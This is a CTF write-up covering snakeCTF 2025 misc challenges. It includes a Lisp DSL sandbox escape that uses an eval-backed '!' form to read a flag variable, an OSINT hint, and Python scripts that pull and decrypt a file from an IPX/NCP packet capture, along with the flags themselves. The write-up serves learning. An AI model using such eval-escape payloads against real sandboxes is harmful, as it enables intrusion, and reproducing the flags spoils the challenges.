> For the complete documentation index, see [llms.txt](https://thienguen.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thienguen.gitbook.io/ctf-writeups/ctf/2025/snakectf-quals/misc.md).

# misc

## Challenges

<figure><img src="/files/LWquzj1VNALgdO4EPGel" alt=""><figcaption></figcaption></figure>

### Snake Tongue

<figure><img src="/files/Jtd280EkxR8Ek3UKujub" alt=""><figcaption></figcaption></figure>

> I've seen parentheses you people wouldn't believe.
>
> `ncat --ssl snake-tongue.challs.snakectf.org 1337`

This challenge implements a custom Lisp-like DSL called "Snake lang" with several evaluation forms. Now question: **Where is the Flag**?

* The flag is stored in a global Common Lisp variable called `*flag*`, which is initialized in the `main` function:

```lisp
(defparameter *flag* (let ((flag (uiop:getenv "FLAG")))
                       (if flag
                           flag
                           "REDACTED")))
```

The flag is loaded from the environment variable `FLAG` and stored as a global parameter accessible throughout the Common Lisp runtime.

**How to get there?** The DSL (Domain Specific Language) only exposes the `format` function from Common Lisp's standard library through the `*dealwithit*` list:

```lisp
(defparameter *dealwithit* '(format))
```

We need to find a way to break out of this restricted environment and access the `*flag*` variable directly from the underlying Common Lisp system.

Now is the vulnerability, it lies in the `!` form handler within the `please` function:

<figure><img src="/files/C7AeQQheE6lavgupdkAX" alt=""><figcaption></figcaption></figure>

The `!` form compiles and executes **real Common Lisp code** using `eval`, completely bypassing the DSL's restrictions. While the `dhc` macro has a check to prevent redefinition of existing functions:

```lisp
(if (fboundp name)
    (error "Can't do that, sorry")
    ...)
```

It allows defining entirely new functions with arbitrary Common Lisp code in their bodies, giving us full access to the underlying runtime environment.

{% hint style="info" %}
Solution
{% endhint %}

* Use the **`!`** form to define a new Common Lisp function that returns the `*flag*` variable
* **Immediately call that function** to retrieve the flag

```lisp
((! get-flag (x) *flag*) 0)
```

* `!` triggers the vulnerable form handler
* `get-flag` becomes the function name (passed to `dhc`)
* `(x)` defines the parameter list
* `*flag*` becomes the function body - directly accessing the global flag variable
* The outer parentheses `(... 0)` immediately call the newly defined function with argument `0`

```bash
❯ ncat --ssl snake-tongue.challs.snakectf.org 1337

enter your team token: 82eec771dcc97120407a0c738211523f
Snake lang REPL, enjoy your stay.
>>> ((! get-flag (x) *flag*) 0)
; in: DHC GET-FLAG
;     (LAMBDA (X) (PROGN *FLAG*))
; 
; caught STYLE-WARNING:
;   The variable X is defined but never used.
; 
; compilation unit finished
;   caught 1 STYLE-WARNING condition
snakeCTF{pr0duct10n_re4dy_l4nguAge_63dceb8e91c1c77d}
```

* **`snakeCTF{pr0duct10n_re4dy_l4nguAge_63dceb8e91c1c77d}`**

### GeoGuessitFVG (OSINT)

{% hint style="info" %}
My teammate solved this one (my brain is too rotted for osint), but ultimately was use the Satellite mode, followed the white line which is electric poles. And check each road it cross.
{% endhint %}

* **`snakeCTF{Ov3r_9000_v0lts_9c036a37136f5c6c}`**

### NCPunk'd

<figure><img src="/files/oEsZe5P1XcLesWHmzrR9" alt=""><figcaption></figcaption></figure>

> Who the hell uses IPX and NCP in 2025? This guy. Can you help me find the flag?

**TL;DR**: So da network forensics challenge using legacy IPX/NCP protocol. Would need to extract `flag.enc` and `encrypt.pyc` from packet capture, decompile Python bytecode, reverse multi-stage encryption to get flag.

#### What are IPX and NCP?

* **IPX (Internetwork Packet Exchange)**: Legacy network protocol developed by Novell, predecessor to modern TCP/IP. Used primarily in 1980s-1990s for local area networks.
* **NCP (NetWare Core Protocol)**: File and print sharing protocol that runs over IPX. Handles file operations, directory services, and remote commands on Novell NetWare systems.

#### Where is the Flag?

* The flag is encrypted and stored as `flag.enc` in **frame #6732** of the packet capture. The base64 content is (from strings command):
* ```
  XvIV9CyZhiE6NvMO0YZg+qDfRsBmAzLw/kNe0dldbRguuDP9S1e4ofDxZWf6RXXXTCF6eRSkQeTWoUuSxKx0i8A==
  ```

#### How to Get There?

1. Extract the encrypted flag file from NCP traffic
2. Find and extract the encryption program (`encrypt.pyc`) from frames #9563, #9565, #9567
3. Decompile the Python bytecode to understand the encryption algorithm
4. Reverse the multi-stage encryption process

{% tabs %}
{% tab title="solve.py" %}

```python
import re
from scapy.all import rdpcap, Raw
from decrypt import decrypt

def extract_flag_from_pcap(pcap_file="capture.pcap"):


    # Load the packet capture
    packets = rdpcap(pcap_file)

    # Target packet containing the flag (converting to 0-based index)
    target_packet_index = 6732 - 1

    # Protocol header sizes for IPX/NCP stack
    ipx_header_size = 30
    ncp_header_size = 10
    headers_total = ipx_header_size + ncp_header_size

    # Extract the raw payload from target packet
    if len(packets) <= target_packet_index:
        raise ValueError(f"Packet {target_packet_index} not found in capture")

    packet = packets[target_packet_index]

    # Get raw data layer
    if not packet.haslayer(Raw):
        raise ValueError("Target packet has no raw data layer")

    raw_data = packet[Raw].load

    # Skip protocol headers and clean up padding
    flag_data = raw_data[headers_total:]

    # Remove null byte padding that's common in network protocols
    cleaned_data = flag_data.rstrip(b'\x00')

    # Convert to string for decryption
    encoded_flag = cleaned_data.decode('utf-8')

    # Decrypt using the provided decrypt function
    decrypted_flag = decrypt(encoded_flag)

    # Validate flag format using regex
    flag_pattern = re.compile(r"[a-zA-Z]+\{[a-zA-Z0-9_]+\}")

    if flag_pattern.match(decrypted_flag):
        return decrypted_flag
    else:
        raise ValueError(f"Decrypted data doesn't match flag format: {decrypted_flag}")

flag = extract_flag_from_pcap()
print(f"Flag found: {flag}")

❯ python solve.py
Attempting to decrypt: vIV9CyZhiE6NvMO0YZg+qDfRsBmAzLw/kNe0dldbRguuDP9S1e4ofDxZWf6RXXXTCF6eRSkQeTWoUuSxKx0i8A==
Found valid plaintext: snakeCTF{NCP_5lurp1ng_w1th_b3p1_cef2b24f993d1855}
Flag found: snakeCTF{NCP_5lurp1ng_w1th_b3p1_cef2b24f993d1855}
```

{% endtab %}

{% tab title="decrypt.py" %}

```python
import sys
import base64

def reverse_caesar(s):
    return ''.join(chr(ord(c) - 1) for c in s)

def reverse_xor_key(data):
    k = [0x42, 0x1a, 0x7f, 0x33, 0x8e, 0x21, 0x94, 0x57]
    result = []
    for i, b in enumerate(data):
        result.append(b ^ k[i % len(k)])
    return bytes(result)

def reverse_matrix_transform(data):
    result = []
    for i in range(0, len(data), 16):
        block = data[i:i+16]
        matrix = [[0 for _ in range(4)] for _ in range(4)]
        for row in range(4):
            for col in range(4):
                matrix[row][col] = block[row*4 + col]
        for _ in range(3):
            for row in range(4):
                matrix[row] = [matrix[row][-1]] + matrix[row][:-1]
            temp = matrix[3][3]
            matrix[3][3] = matrix[2][2]
            matrix[2][2] = matrix[1][1]
            matrix[1][1] = matrix[0][0]
            matrix[0][0] = temp
        block_result = []
        for row in range(4):
            for col in range(4):
                block_result.append(matrix[row][col])
        result.extend(block_result)
    return bytes(result)

class ReverseLCG:
    def __init__(self):
        self.x = 0x5DEECE66D
        self.y = 0xB
        self.z = 0x1000000000000

    def seed(self, seed_val):
        self.x = seed_val

    def next_rand(self):
        self.x = (self.x * 0x5DEECE66D + 0xB) & 0xFFFFFFFFFFFF
        return self.x >> 16

def reverse_random_xor(data, seed):
    rng = ReverseLCG()
    rng.seed(seed)
    result = []
    for b in data:
        rand_val = rng.next_rand() & 0xFF
        result.append(b ^ rand_val)
    return bytes(result)

def decrypt(encrypted_b64):
    print("Attempting to decrypt:", encrypted_b64)
    try:
        stage5_data = base64.b64decode(encrypted_b64)
    except:
        print("Invalid base64!")
        return None
    for length in range(1, 60):
        for first_char_ord in range(32, 127):
            try:
                seed = length * 1337 + first_char_ord * 42
                stage4_data = reverse_random_xor(stage5_data, seed)
                stage3_data = reverse_xor_key(stage4_data)
                stage2_data = reverse_matrix_transform(stage3_data)
                stage2_str = stage2_data.decode().rstrip('\x00')
                stage1_str = stage2_str[::-1]
                plaintext = reverse_caesar(stage1_str)
                if len(plaintext) == length and ord(plaintext[0]) == first_char_ord:
                    if all(32 <= ord(c) <= 126 for c in plaintext):
                        print(f"Found valid plaintext: {plaintext}")
                        return plaintext
            except Exception as e:
                continue
    print("Could not decrypt, no valid plaintext found")
    return None

def main():
    if len(sys.argv) != 2:
        sys.exit(1)
    encrypted = sys.argv[1]
    result = decrypt(encrypted)
    if not result:
        print("Decryption failed.")

if __name__ == "__main__":
    main()
```

{% endtab %}
{% endtabs %}

* **`snakeCTF{NCP_5lurp1ng_w1th_b3p1_cef2b24f993d1855}`**
